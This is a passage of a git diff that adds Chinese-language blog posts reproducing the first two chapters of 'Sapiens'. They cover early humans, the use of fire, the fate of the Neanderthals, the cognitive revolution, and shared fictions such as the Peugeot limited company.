+我们以为，有比较大的大脑、会使用工具、有超凡的学习能力还有复杂的社会结构，都可说是人类巨大的优势。而且似乎不证自明，正是这些优势使人类成为地球上最强大的动物。然而，其实人类早就具有这些优势，但在整整200万年期间，人类一直就只是一种弱小、边缘的生物。大约在100万年前，虽然人类已经有了容量较大的大脑和锋利的石器，却还是得一直担心害怕食肉动物的威胁，他们很少猎杀大型猎物，维生主要靠的就是采集植物、挖找昆虫、追杀小动物，还有跟在更强大的食肉动物后面吃些剩下的腐肉。 +早期石器最常见的一种用途，就是把骨头敲开，人类才能吃到里面的骨髓。有些研究人员认为，这正是人类最原始的专长。就像是啄木鸟的专长是从树干里啄出昆虫，最早的人类专长就是从骨头里取出骨髓。骨髓有什么特别的？假设我们现在看着一群狮子大口吃着一只长颈鹿。我们只能耐心等着，等它们吃饱再说。但还别急，就算狮子吃完了，旁边还有鬣狗和豺在等着，而且它们也不是好惹的；于是它们又把剩下的肉再吃干抹净。最后才轮到我们这群原始人，我们走近长颈鹿的尸体，左看看右瞧瞧，最后只能想办法去挖出唯一还能吃的组织。 +这一点对于了解人类历史和心理学至关紧要。长久以来，智人一直只是稳定位于食物链的中间位置，直到最近才有改变。在先前长达数百万年的时间里，人类会猎杀小动物、采集种种能得到的食物，但同时也会遭到较大型食肉动物猎杀。一直要到40万年前，有几种人种才开始固定追捕大型猎物，而要到10万年前智人崛起，人类才一跃而居于食物链顶端。 +这场从中段到顶端的大跳跃，造成的影响翻天覆地。其他在金字塔顶端的动物（例如狮子、鲨鱼）得要花上好几百万年的时间，才终于通过演化站上顶峰。因此生态系统有时间发展出种种制衡，避免狮子和鲨鱼造成太大的破坏。随着狮子越来越强壮，演化也让瞪羚越跑越快，鬣狗越来越懂合作，犀牛脾气越来越差。相较之下，人类转眼就登上顶端，不仅让生态系统猝不及防，就连人类自己也不知所措。在过去，居于食物链顶端的食肉动物总是威风凛凛、霸气十足，数百万年的统治，让它们充满自信。但相比之下，智人就像是个香蕉共和国的独裁者。我们在不久之前，还是大草原上的小可怜，整天充满恐惧和焦虑，但这也让人类更加残酷和危险。人类历史上众多的灾难，不论是生灵涂炭的战乱还是生态遭逢的浩劫，其实都是源自这场过于仓促的地位跳跃。 +厨师的种族 +在踏上食物链顶端的路上，使用火可说是迈出了一大步。早在大约80万年前，就已经有部分人种偶尔会使用火，而到了大约30万年前，对直立人、尼安德特人以及智人的祖先来说，用火已是家常便饭。到了这个时候，人类不仅用火当作可靠的光源和热源，还可以用这项致命的武器和不怀好意的狮子一较高低。不久之后，人类甚至还刻意引火焚烧周遭的环境。只要悉心控制火势，就能让原本难以通行、不具利益的丛林转变成大片美好的原野，而且满是猎物。此外，等到火势停歇，这些石器时代的创业者走到还在冒烟的余烬当中，就能得到烤得香酥美味的动物、坚果和块茎。 +然而，火带来的最大好处在于开始能够烹饪。有些食物，处于自然形态的时候无法为人类所消化吸收，像小麦、水稻、马铃薯，但正因有了烹饪技术，就成为我们的主食。火不只会让食物起化学变化，还会起生物上的变化：经过烹调，食物中的病菌和寄生虫就会被杀死。此外，对人类来说，就算吃的还是以往的食物（例如水果、坚果、昆虫和动物尸体），所需要的咀嚼和消化时间也能大幅缩减。例如，黑猩猩要咀嚼生肉，每天得花上五个小时，但人类吃的是熟食，每天花上一小时就够。 + +烹调让人类能吃的食物种类更多，减少所需的进食时间，还能缩小牙齿、减少肠的长度。有学者认为，烹调技术的发明，与人体肠道缩短、大脑开始发育有直接关系。不论是较长的肠道或是较大的大脑，都必须消耗大量的能量，因此很难兼而有之。而既然有了烹调，人就能缩短肠道、降低能量消耗，可以说是在不经意之间，烹调让尼安德特人与智人走上了让大脑更大的道路。1 +此外，“用火”也让人与其他动物之间首次有了明显的不同。对几乎所有动物来说，它们的力量靠的都是自己的身体：像是肌肉的力量、牙齿的大小和翅膀的宽度。虽然动物能利用风和海流，却无法控制这些自然的力量，而且也无法突破先天的身体限制。举例来说，老鹰能够找出由地面上升的热气流，只要展开巨大的翅膀，热空气就会带着它们自然上升。然而，老鹰无法控制热气流的位置，而且荷重能力几乎完全得由翼宽来决定。 +但人类用火的时候，可以说是控制了一项既听话而又有无穷力量的工具。不像老鹰只能被动使用气流，人类可以选择在什么地点、什么时间放出一把火来，而且火的用途各式各样、不一而足。最重要的是，火的能量并不会受人类身体的形式、结构或力量所限。就算是个柔弱的女子，只要有一块燧石能敲出火花，或是有根火棍能够摩擦起火，就能在几个小时内毁掉整片森林。能够用火之后，有许多发展即将水到渠成。 +兄弟的守护者 +虽然用火已经带来许多优势，在15万年前，人类仍然不过是种边缘生物。这时的人类能够把狮子吓走，能在寒冷的夜晚生火取暖，偶尔还能把森林给烧了。但就算把所有人种全部加在一起，从印度尼西亚群岛到伊比利亚半岛，所有的人数加起来仍然不足百万，这对整体生态来说根本微不足道。 +这个时候，我们这个物种（智人）已经出现在世界舞台上，但不过就是自顾自地待在非洲的一个小角落。我们还无法得知智人是在何时、由何种早期人类演化而来，但科学家多半都同意，大约到了15万年前，东非就已经有了智人，外貌和我们几乎一模一样。如果现代的停尸间里突然出现一具智人的尸体，验尸官根本不会发现有什么不同。在有了火之后，他们的牙齿和颌骨比祖先小，而大脑的容量又较大，与我们现在相当。 +科学家也同意，大约7万年前，智人从东非扩张到阿拉伯半岛，并且很快席卷整个欧亚大陆。 +地图1 智人征服全球。 +智人来到阿拉伯半岛的时候，欧亚大陆多半都已经住着其他的人种。那么，这些其他人种后来怎么了？关于这点有两种完全不同的理论。第一种是“混种繁衍理论”，讲的是不同人种一见钟情、两情相悦、互相交融；认为智人从非洲迁移到世界各地，与其他人种混种繁衍，而形成今天的人类。 +例如，智人抵达中东和欧洲的时候，就会遇上尼安德特人。这些人的肌肉更发达，脑容量更大，也更能适应寒冷的气候。他们会用工具，会用火，打猎技巧高明，而且还有铁证证明他们会照顾病人和弱者。（考古学家从尼安德特人的遗骸发现，有些人有严重的身体残疾，但活了相当大的岁数，可见有亲属提供照料。）许多漫画都把尼安德特人描绘成愚笨又粗鲁的“穴居人”，但近来的证据证明并非如此。 +图3 推测的尼安德特男孩样貌重建图。基因证据显示，至少某些尼安德特人可能有白皙的皮肤、柔顺的头发。 +根据混种繁衍理论，智人来到尼安德特人的地盘时，两个人种开始互通繁衍，直到合而为一。但如果真是如此，今天的欧亚人就不该是纯种智人，而是智人和尼安德特人的混血儿。同样，在智人抵达东亚的时候，也会和当地的直立人混血繁衍，因此，今天的中国和韩国人也该是智人与直立人的混血儿。 +至于另一种完全相反的观点，称为“替代理论”，讲的是双方水火不容，互有反感，甚至会发生种族灭杀。根据这一理论，智人和其他人种的生理结构还是有所不同，不仅交配习性难以相合，甚至连体味都天差地别。所以，想要天雷勾动地火，简直是天方夜谭。而且，就算是有个尼安德特人的罗密欧配上了智人的朱丽叶，但因为两个人种在基因上相去太远，也无法产下可繁衍的后代。于是，这两个人种还是泾渭分明，而等到尼安德特人不管是自然灭绝还是遭到屠杀，他们的基因也同样灰飞烟灭。就这种观点看来，智人所做的，就是取代了所有先前的人种，而不是和他们混种繁衍。而如果真是如此，现今所有的人类只要追本溯源，都该能够一路追到7万年前的东非，都是“纯种”的智人。 +这两种理论何者正确，会对后面的推论造成极大影响。从演化的角度来看，7万年其实一点儿也不长。如果替代理论正确，也就是说所有现代人类的基因库大致相同，现在我们看到的各种种族差异就小到无足挂齿。然而，如果混种繁衍理论正确，那么可能在数百万年前，就已经种下了现代非洲人、欧洲人和亚洲人之间的基因差异。这点可以说是政治上一触即发的火药，可能发展出爆炸性的种族理论。 +最近数十年来，替代理论一直是这个领域的大致共识，这项理论不只背后的考古证据更可靠，政治上也更为正确（如果说现代人类族群各有明显基因差异，几乎可说就是打开了种族主义的潘多拉盒子，而科学家可没这打算）。然而，有一项为尼安德特人基因组定序的研究结果在2010年底发表，却掀起了一片惊涛骇浪。基因学家终于从化石里收集到足够的尼安德特人DNA，能够和现代人类的DNA全面比较，而结果令科学界一阵哗然。 +原来，就现代中东和欧洲的人类而言，有1%~4%的尼安德特人DNA。虽然这百分比并不高，但意义却很重大。几个月之后，从丹尼索瓦人的手指化石中取得DNA、完成定序，结果又投下了第二颗炸弹：结果证明，现代美拉尼西亚人及澳大利亚原住民最高有6%的丹尼索瓦人DNA。 +如果这些结果属实（请注意，目前后续研究都仍在进行，可能进一步证实，但也可能修改目前的结论），就证明混种繁衍理论至少有部分正确。但这也不是说替代理论完全错误。毕竟，尼安德特人和丹尼索瓦人的基因仍然只占了现代人基因组的一小部分，要说智人真的和其他人种有“混种”的情形，也是言过其实。虽然这些人种之间的差异没有大到完全阻绝繁衍后代的可能，但已经足以让他们彼此兴趣寥寥、罕有往来。 +这么说来，智人、尼安德特人和丹尼索瓦人在生物学上的相关性，究竟该如何解释？显然，他们并不是像马和驴一样属于完全不同的物种，但他们也不是像斗牛犬和西班牙猎犬一样归于相同物种的不同族群。毕竟，现实的生物界限并不是非黑即白，而有重要的灰色地带。只要是由共同的祖先演化出的物种（例如马和驴），都曾有某段时间就是同一物种的不同族群，像是斗牛犬和西班牙猎犬。而必然有某个时点，虽然这两个族群的差异已达到一定程度，但仍然能够交配，产下有生育能力的后代。接着，经过又一次突变，才终于切断了最后的连接，于是从此真正成为两种全然不同的物种。 +现在看来，大约5万年前，智人、尼安德特人与丹尼索瓦人正是站在那个临界点上。当时的他们几乎但还不完全是各自独立的物种。我们将在下一章看到，智人与尼安德特人和丹尼索瓦人不仅在基因序和身体特征方面已大为不同，甚至在认知和社会能力方面也相去甚远。然而，看来还是有那么极少数的情形，让智人与尼安德特人产下了有生育能力的后代。所以这么说来，这两种族群并没有混种的情形，而是有少数幸运的尼安德特人基因搭上了这班智人特快车的顺风车。但想想，在历史上曾经有过这么一段时间，我们智人居然可以跟另一种不同物种的动物交配，还能生小孩，实在叫人感到有点不安或是毛骨悚然。 +然而，如果尼安德特人、丹尼索瓦人和其他人类物种并没有与智人混种，那他们究竟去了哪？有一种可能，就是被智人给赶尽杀绝。想象一下，有某个智人的部落来到巴尔干半岛的某个山谷，这里数十万年以来都是尼安德特人的家园。新来的智人开始猎鹿，而尼安德特人传统上都是靠着采集坚果和浆果为生。正如我们在下一章将会提到的，由于智人的技术进步、社交技巧高，在狩猎和采集上也都更为熟练，于是族群迅速成长茁壮。相形之下，尼安德特人就显得左支右绌，发现生活越来越困苦，连糊口都难上加难。于是，他们的人口数逐渐下滑，逐步走向灭绝；而或许极少数的例外，就是有一两个尼安德特人最后也加入了智人族群，成为他们的一员。 +还有另一种可能，认为资源竞争愈演愈烈，最后爆发暴力冲突、种族灭绝。毕竟，宽容可不是智人的特色。即使到了现代，不过是因为肤色、方言、宗教等等微小的差异，就足以让智人彼此大动干戈、非要把对方赶尽杀绝。而远古的智人面对的可是个完全不同的人类物种，又岂能期待他们更加宽容？很有可能，当智人碰上尼安德特人的时候，就发生了史上第一次也是最严重的一次种族净化运动。 +尼安德特人（和其他人类物种）究竟发生了什么事，足以引发许多历史上的想象。如果除了智人之外，尼安德特人或丹尼索瓦人也同样存活了下来，这世界会是什么模样？如果世界上同时有好几个不同的人类物种，我们会有什么样的文化、社会和政治结构？举例来说，宗教信仰会是什么样子？《圣经》会不会说尼安德特人也和智人一样有灵魂？耶稣牺牲自己，会不会是为了要洗净丹尼索瓦人的罪？《古兰经》会不会对所有人类物种一视同仁，都为他们在乐园里占个位子？孔子会不会说我们也要“仁者爱人”地对待尼安德特人和丹尼索瓦人？尼安德特人会不会在古罗马军团中服役，又会不会也服侍着中国庞大的朝廷？美国《独立宣言》所揭橥而坚信的“人生而自由平等”，指的会不会是所有“人属”的物种？马克思会不会呼吁所有人类物种的工人都该团结起来？ +在过去3万年间，智人已经太习惯自己是唯一的人类物种，很难接受其他可能性。对智人来说，没有其他同属人类的物种，就很容易让人自以为是造物的极致，以为自己和其他整个动物界仿佛隔着一条护城河。于是，等到达尔文提出智人也不过是另一种动物的时候，有些人就大发雷霆。即使到现在，也还是有许多人不愿这么相信。如果尼安德特人尚未灭绝，我们真的还会以为自己是独一无二的生物，与其他动物都不同？或许正因如此，我们的祖先才决定将尼安德特人赶尽杀绝。很有可能对智人来说，虽然尼安德特人和自己相似到不足一提，但也相异到无法忍受。 +* * * +不论智人是否是罪魁祸首，但每当他们抵达一个新地点，当地的原生人类族群很快就会灭绝。现存历史离我们最近的梭罗人遗迹，大约是5万年前。丹尼索瓦人在那之后不久也已绝迹。至于尼安德特人，是在大约3万年前退出了世界舞台。而到了12000年前，像小矮人般的人类也从弗洛里斯岛上永远消失。他们只留下了一些骨头、石器、几个还存在我们DNA里的基因，以及许多悬而未解的谜团。他们的离去，也让我们智人成了人类最后的物种。 +究竟智人胜出的秘诀为何？为什么我们能如此迅速抵达各个遥远而生态各异的栖地，而且落地生根？我们是怎么将其他人类物种赶出世界舞台？为什么就连强壮、脑部发达、不怕寒冷的尼安德特人，也无法挡住智人的屠杀？相关的争辩必然会继续。而目前最可能的解答，正是让人得以辩论的原因：智人之所以能征服世界，是因为有独特的语言。 diff --git a/_posts/2017-01-06-194-sapiens-cp02.md b/_posts/2017-01-06-194-sapiens-cp02.md new file mode 100644 index 0000000..f0d0d49 --- /dev/null +++ b/_posts/2017-01-06-194-sapiens-cp02.md @@ -0,0 +1,88 @@ +--- +layout: post +title: 第二章知善恶树 +pid: 194 +tags: [人类简史：从动物到上帝] +--- +第二章 +知善恶树 +第一章提过，虽然智人早在10万年前就已经出现在东非，但一直要到大约7万年前才开始迁移到其他地区，造成其他人类物种的灭绝。而在先前的几万年间，虽然智人的外表已经与我们十分神似、大脑容量也差堪比拟，但他们与其他人类物种相比却不占任何优势，没什么特别了不起的工具，甚至也没什么特殊表现。 +事实上，智人与尼安德特人的史上第一次冲突，赢家还是尼安德特人。大约10万年前，有几群智人向北迁移到地中海东部、侵入了尼安德特人的领土，但没能攻下这个领地。至于他们失败的原因，可能是当地人过于强大，可能是气候过于寒冷，也可能是他们对当地的寄生虫无法适应。不论原因为何，总之智人最后就是黯然离去，而尼安德特人仍然是中东的霸主。 +正因为智人的外在表现实在乏善可陈，学者推测，这些智人的大脑内部结构很可能还是与我们不同。虽然看起来和我们一样，但认知能力（学习、记忆、沟通）却仍然十分受限。换句话说，想让远古智人说中文、接受马克思主义信条，或是明白演化论，应该都是缘木求鱼。但就算是我们想要学习他们的语言、理解他们的思维方式，可能也同样困难无比。 +然而，等到大约7万年前，智人仿佛脱胎换骨。大约在那个时候，智人第二次从非洲出击。这一次，他们不只把尼安德特人和其他人类物种给赶出了中东，甚至还赶出了这个世界。没多久，智人的领地就到了欧洲和东亚。大约45000年前，不知道用什么方法，他们越过了海洋，抵达了从未有人类居住的澳大利亚大陆。在大约7万年前到3万年前之间，智人发明了船、油灯、弓箭，还有想缝制御寒衣物所不可缺少的针。第一项确实能称为艺术或珠宝的物品，正是出现在这几万年里；同时，也有了确切的证据证明已经出现宗教、商业和社会分层。 +图4 从德国施泰德（Stadel）洞穴发现的象牙制“狮人”雕像（也有可能是“女狮人”，大约距今32000年）。雕像有着人身狮头，这大概是最早能无疑认定为艺术品的物品之一。同时，也最早证明人类可能出现了宗教，以及能够想象出不存在的事物。 +大多数研究人员相信，这些前所未有的重要成就，是因为智人的认知能力有了革命性的发展。学者认为，这些造成尼安德特人灭种、移居澳大利亚、雕出施泰德狮人雕像的智人，已经和你我同样聪明、有创意、反应灵敏。如果我们遇到施泰德洞穴的艺术家，我们已经可以学习彼此的语言。我们能够向他们解释我们知道的一切事物，不管是《爱丽斯梦游仙境》的冒险情节或是量子物理的复杂理论，而他们也能告诉我们，他们是如何看待、理解这个世界。 +大约就是在距今7万到3万年前，出现了新的思维和沟通方式，这也正是所谓的认知革命。会发生认知革命的原因为何？我们无从得知。得到普遍认可的理论认为，某次偶然的基因突变，改变了智人的大脑内部连接方式，让他们以前所未有的方式来思考，用完全新式的语言来沟通。这次突变，几乎就像是吃了《圣经》里那棵知善恶树的果实一样。为什么这只发生在智人的DNA里，而没有发生在尼安德特人的DNA里？我们现在只能说这就是纯粹的偶然。这里比较重要的，并不是这种突变的原因，而是突变带来的结果。智人的新语言究竟特别在哪，竟让我们能够征服世界？[1] +智人的语言并不是世界上的第一种语言。每种动物都有着某种语言。就算是蜜蜂或蚂蚁这些昆虫，也有极精密复杂的沟通方式，能够告知彼此食物所在。甚至，智人的语言也不能说是第一种有声的语言。因为许多动物（包括所有的猿类和猴类）都会使用有声语言。例如，青猴（green monkey）就有各种不同的喊叫方式，传达不同的信息。像是动物学家已经确定，青猴的某种叫声代表着“小心！有老鹰！”，而只要稍微调整，就会变成“小心！有狮子！”。研究人员把第一种叫声放给一群青猴听的时候，青猴会立刻停下当时的动作，恐惧地望向天空。而同一群青猴听到第二种叫声（警告有狮子）的时候，它们则是立刻冲到树上。虽然说智人能发出的声音比青猴多，但鲸鱼和大象也不遑多让。爱因斯坦能说的声音，鹦鹉都能说，而且鹦鹉还能模仿手机铃声、摔门声还有警笛的尖啸声。当然，爱因斯坦可能有很多地方比鹦鹉强，但不论如何，语言这点可是远远不及。那么，究竟人类的语言有什么特别的地方？ +最常见的理论，认为人类语言最为灵活。虽然我们只能发出有限的声音，但组合起来却能产生无限多的句子，各有不同的含义。于是，我们就能吸收、储存和沟通惊人的信息量，并了解我们周遭的世界。青猴能够向同伴大叫“小心！有狮子！”，但现代人能够告诉朋友，今天上午，在附近的河湾，她看到有一群狮子正在跟踪一群野牛。而且，她还能确切地描述出位置，或是有哪几条路能够抵达。有了这些信息，她的部落成员就能一起讨论，该怎么逼近河边，把狮子赶走，让野牛成为自己的囊中物。 +第二种理论，也同意人类语言是沟通关于世界的信息的方式。然而，最重要的信息不是关于狮子和野牛，而是关于人类自己。我们的语言发展成了一种八卦的工具。根据这一理论，智人主要是一种社会性的动物，社会合作是我们得以生存和繁衍的关键。对于个人来说，光是知道狮子和野牛的下落还不够。更重要的，是要知道自己的部落里谁讨厌谁，谁跟谁在交往，谁很诚实，谁又是骗子。 +就算只是几十个人，想随时知道他们之间不断变动的关系状况，所需要取得并储存的相关信息量就已经十分惊人。（如果是个50人的部落，光是一对一的组合就可能有1225种，而更复杂的其他社会组合更是难以计数。）虽然所有猿类都对这种社会信息有浓厚兴趣，但它们并没有有效的八卦方式。尼安德特人与最早的智人很可能也有一段时间没办法在背后说彼此的坏话。然而，如果一大群人想合作共处，“说坏话”这件事可是十分重要。大约在7万年前，现代智人发展出新的语言技能，让他们能够八卦达数小时之久。这下，他们能够明确得知自己部落里谁比较可信可靠，于是部落的规模就能够扩大，而智人也能够发展出更紧密、更复杂的合作形式。2 +这种“八卦理论”听起来有点荒唐，但其实有大量的研究结果支持这种说法。即使到了今天，绝大多数的人际沟通（不论是电子邮件、电话还是报纸专栏）讲的都还是八卦。这对我们来说真是再自然不过，就好像我们的语言天生就是为了这个目的而生的。你认为一群历史学教授碰面吃午餐的时候，聊的会是第一次世界大战的起因吗？而核物理学家在研讨会中场茶叙的时候，难道讲的会是夸克？确实有时候是如此，但更多时候其实讲的都是哪个教授逮到老公偷吃，哪些人想当上系主任或院长，或者说又有哪个同事拿研究经费买了一台雷克萨斯之类。八卦通常聊的都是坏事。这些嚼舌根的人，所掌握的正是最早的第四权力，就像是记者总在向社会爆料，从而保护大众免遭欺诈和占便宜。 +* * * +最有可能的情况是，无论是八卦理论或是“河边有只狮子”的理论，都有部分属于事实。然而，人类语言真正最独特的功能，并不在于能够传达关于人或狮子的信息，而是能够传达关于一些根本不存在的事物的信息。据我们所知，只有智人能够表达关于从来没有看过、碰过、耳闻过的事物，而且讲得煞有其事。 +在认知革命之后，传说、神话、神以及宗教也应运而生。不论是人类还是许多动物，都能大喊：“小心！有狮子！”但在认知革命之后，智人就能够说出：“狮子是我们部落的守护神。”“讨论虚构的事物”正是智人语言最独特的功能。 +相较之下，大部分人都会同意只有智人能够谈论并不真正存在的事物，相信一些不太可能的事情。如果你跟猴子说，只要它现在把香蕉给你，它死后就能到某个猴子天堂，有吃不完的香蕉，它还是不会放手。但这有什么重要？毕竟，虚构的事物可能造成误导或分心，带来危险。某甲说要去森林里找仙女或独角兽，某乙说要去森林里采蘑菇或猎鹿，听起来似乎某甲就是活命机会渺茫。而且，我们都知道时间宝贵，拿来向根本不存在的守护神祷告岂不是一种浪费？何不把握时间吃饭、睡觉、亲亲抱抱？ + +然而，“虚构”这件事的重点不只在于让人类能够拥有想象，更重要的是可以“一起”想象，编织出种种共同的虚构故事，不管是《圣经》的《创世记》、澳大利亚原住民的“梦世记”（Dreamtime），甚至连现代所谓的国家其实也是种想象。这样的虚构故事赋予智人前所未有的能力，让我们得以集结大批人力、灵活合作。虽然一群蚂蚁和蜜蜂也会合作，但方式死板，而且其实只限近亲。至于狼或黑猩猩的合作方式，虽然已经比蚂蚁灵活许多，但仍然只能和少数其他十分熟悉的个体合作。智人的合作则是不仅灵活，而且能和无数陌生人合作。正因如此，才会是智人统治世界，蚂蚁只能吃我们的剩饭，而黑猩猩则被关在动物园和实验室里。 +标致汽车的传说 +黑猩猩可以说是人类的表亲，而它们通常是几十只生活在一起，形成一个小族群。这些黑猩猩彼此十分亲密，会一起打猎，携手抵抗外面的狒狒、猎豹或是敌对的黑猩猩。它们有一种阶层社会结构，掌权主导的几乎一定是雄性的首领（alpha male）。首领出现时，其他黑猩猩无论公母都会低下头、发出呼噜声，以展现服从；而这与人向皇帝叩首高呼万岁倒也类似。首领会努力维持手下族群的社会和谐。两只黑猩猩吵架的时候，它会介入、制止暴力。而没那么仁慈的一面在于，特别好的食物全部为它所有，而且它还会看着不让地位太低的公猩猩与母猩猩交配。 +如果两头公猩猩要争夺首领地位，通常会在族群中不分公母各自寻求支持者、形成集团。集团成员的连接在于每天的亲密接触，像是拥抱、抚摸、接吻、理毛、相互帮助。就像人类在选举的时候得到处握握手、亲亲小婴儿，如果哪只黑猩猩想要争夺首领宝座，也得花上许多时间拥抱、亲吻黑猩猩宝宝，还要拍拍它们的背。很多时候，公猩猩能坐上首领宝座不是因为身体更强壮，而是因为领导的集团更庞大也更稳定。至于集团的作用除了争夺首领位置，更几乎渗透到日常活动的方方面面。同一集团的黑猩猩更常彼此相处、分享食物，并且在碰上麻烦的时候互相帮忙。 +以这种方式形成并维持的黑猩猩族群，大小有明确的限度。这种做法要能运作，族群里每只黑猩猩都得十分了解彼此，如果都没碰过面、没打过架、没互相理过毛，两只黑猩猩就不知道能不能互相信赖，对方值不值得帮助，也不知道谁的阶层比较高。在自然情况下，黑猩猩族群一般是由20~50只黑猩猩组成。而随着黑猩猩成员数量渐增，社会秩序就会动摇，最后造成族群分裂，有些成员就会离开另组家园。只有在极少数情况下，曾有动物学家观察到超过100只的黑猩猩族群。至于不同的族群之间，不仅很少合作，而且往往还会为了领地和食物打得死去活来。研究人员就曾记录到，在不同族群之间可能有长时间的对抗，甚至还有一个“种族屠杀”的案例，一群黑猩猩有系统地几乎杀光了邻近的另一群黑猩猩。3 +类似的模式很有可能也主导了早期各种人类物种的社会生活，其中也包括远古的智人。人类也像黑猩猩一样有着社会本能，让我们的祖先们能够形成友谊和阶层，共同打猎或战斗。然而，人类的社会本能也和黑猩猩没有什么不同，只适用于比较亲近的小团体。等到这个团体过大，社交秩序就会崩坏，使团体分裂。就算有某个山谷特别丰饶，可以养活500个远古的智人，但他们绝对没办法和这么多不够熟悉的人和平共处。他们要怎样才能决定要由谁当首领，谁能在哪里打猎，谁又能和谁交配呢？ +等到认知革命之后，智人有了八卦的能力，于是部落规模变得更大，也更稳定。然而，八卦也有限制。社会学研究指出，借由八卦来维持的最大“自然”团体大约是150人。只要超过这个数字，大多数人就无法真正深入了解、八卦所有成员的生活情形。 +即使到了今天，人类的团体还是继续受到这个神奇的数字影响。只要在150人以下，不论是社群、公司、社会网络还是军事单位，只要靠着大家都认识、彼此互通消息，就能够运作顺畅，而不需要规定出正式的阶层、职称、规范。4不管是30人的一个排，甚至是100人的一个连，几乎不需要有什么正式纪律，就能靠着人际关系而运作正常。正因如此，在某些小单位里，老兵的权力甚至要比士官更大。而如果是一个小的家族企业，就算没有董事会、执行长或会计部门，也能经营得有声有色。 +然而，一旦突破了150人的门槛，事情就大不相同。如果是一个师的军队，兵数达到万人，就不能再用带排的方式来领导。而有许多成功的家族企业，也是因为规模越来越大，开始雇用更多人员的时候，就碰上危机，非得彻底重整，才能继续成长下去。 +所以，究竟智人是怎么跨过这个门槛值，最后创造出了有数万居民的城市、有上亿人口的帝国？这里的秘密很可能就在于虚构的故事。就算是大批互不相识的人，只要同样相信某个故事，就能共同合作。 +无论是现代国家、中世纪的教堂、古老的城市，或者古老的部落，任何大规模人类合作的根基，都在于某种只存在于集体想象中的虚构故事。例如教会的根基就在于宗教故事。像是两个天主教信徒，就算从未谋面，还是能够一起参加十字军东征或是一起筹措资金盖起医院，原因就在于他们同样相信神化身为肉体、让自己被钉在十字架上救赎我们的罪。所谓的国家，也是立基于国家故事。两名互不认识的塞尔维亚人，只要都相信塞尔维亚国家主体、国土、国旗确实存在，就可能冒着生命危险拯救彼此。至于司法制度，也是立基于法律故事。从没见过对方的两位律师，还是能同心协力为另一位完全陌生的人辩护，只因为他们都相信法律、正义、人权确实存在。（当然，他们也相信付的律师费确实存在。） +然而，以上这些东西，其实都只存在人类自己发明并互相讲述的故事里。除了存在于人类共同的想象之外，这个宇宙中根本没有神、没有国家、没有钱、没有人权、没有法律，也没有正义。 +如果我们说：原始人因为相信鬼神，每次月圆会一起聚在营火旁跳舞，于是也巩固了他们的社会秩序；这件事人人都觉得不难理解。但我们没看出来的是，其实现代社会运作的机制还是一模一样。以现代商业领域为例，商人和律师其实就是法力强大的巫师。不同于过去部落巫师的地方是现代人的故事还更扯。例如标致汽车（Peugeot）的故事就是个很好的例子。 +* * * +从巴黎到悉尼，现在许多汽车、卡车、摩托车的车前盖上都有着一个很类似施泰德狮人的“标致”商标。标致汽车是欧洲一个历史悠久、规模宏大的汽车制造商，起源于法国的瓦朗蒂盖伊村（Valentigney），距离施泰德洞穴只有300公里远。标致一开始只是个小型家族企业，现在却是个跨国企业，全球员工达20万人，而且多半完全互不相识。通过这些陌生人极有效率的合作，2008年标致制造超过150万辆汽车，营收约550亿欧元。 +图5 标致的狮子商标。 +该以什么标准，我们才能说标致公司（Peugeot SA）确实存在？虽然路上有很多标致制造的车辆，但显然这些车辆并不代表公司。就算全世界所有的标致汽车同时被回收打成废铁，标致公司也不会消失。标致公司还是能继续制造新的汽车，继续写出新的年度报表。另外，虽然公司有工厂、机器、展示大厅，也雇了技工、会计师和秘书，但就算把这些全部加起来，也不等于就是标致公司。即使来了一场灾难，让标致公司所有员工全部罹难，毁了所有的装配线和办公室，公司还是可以借贷，重新雇用员工，重新盖起工厂，重新购买机器。另外，虽然标致也有经营团队和股东，但这些人也不等于公司。就算解散经营团队，股东也把所有股票售出，公司本身依然存在。 +然而，也不是说标致公司无坚不摧、不可能摧毁。只要有个法官下令强制公司解散，虽然公司的工厂仍然存在，员工、会计师、经理和股东也继续活着，但标致公司就这样消失了。简单说来，标致公司与这个世界其实并没有什么实体的链接。它究竟是不是真的存在？ +标致公司只是我们的一个集体想象，这种想象在法律上称为“法律拟制”（legal fiction）。像是公司，我们没办法明确指着它，它不是一个实体对象，而是以一种法律实体的方式存在。这种法律实体就像你我，会受到所在国家法律的管辖，可以开立银行账户，拥有自己的财产，要纳税，也可能独立于所有拥有者或员工之外而遭到起诉。 +标致属于法律拟制的“有限公司”。而在这些公司背后的概念，可以说是人类一项巧妙无比的发明。在这之前，智人虽然已存在许久，却一直没想到这件事。历史上大多数时候，必须是个有血有肉、有两条腿还有个大脑的人类，才能拥有财产。假设在13世纪有个法国人尚恩，开了一个马车制造工作室，那么他本人就是工作室。如果他卖的马车才跑了一个星期就坏了，买家心情不好，告的就是尚恩本人。而如果尚恩借了1000金币成立工作室，而店倒了，他还得要卖掉自己的财产（包括他的房子、他的牛还有他的土地等等），以偿还贷款。甚至孩子都可能会被卖去当奴隶。如果这样还不足以偿还债务，就有可能被国家关进牢里或被债主抓去当奴隶。只要是工作室造成的任何责任，他就得要无上限完全承担。 +如果活在那个时代，创业前可能都得思考再三。这种法律规定绝对没有鼓励创业的效果，只会让人不敢投入新业务、承担经济风险。毕竟，如果可能搞得自己家破人亡、家徒四壁，哪能说划算？ +正因如此，人类才一起想出了“有限公司”这种概念。在法律上，这种公司是独立的个体，而不等于设立者、投资者或管理者。在过去几世纪间，这种公司已经成为经济主流，我们太习惯于这种概念，而忘了这只存在于我们的想象之中。“有限公司”的英文称为“corporation”，这点颇为讽刺，因为这个字的语源是“corpus”（拉丁文的“身体”），而这正是有限公司所没有的。虽然公司并没有真正的实体，但在法律上我们却将它称为“法人”，好像它真的是有血有肉的人一般。 +在1896年的时候，法国的法律就已经是这么认定。当时阿尔芒·标致（Armand Peugeot）继承了父母的铁工厂，做的是弹簧、锯子和脚踏车，但他决定要跨足汽车业。于是，他成立了一家有限公司。虽然公司的名字和他的姓一样，但公司并不等于他本人。如果公司做的某台车出了意外，买家可以告标致公司，但没办法告到阿尔芒·标致本人。如果公司借了几百万而破产了，阿尔芒·标致本人一毛也不用付给公司的债主。毕竟，那笔贷款给的对象是标致公司，而不是阿尔芒·标致这个人。也因为如此，虽然阿尔芒·标致已经在1915年去世，但标致公司至今仍然生气勃勃。 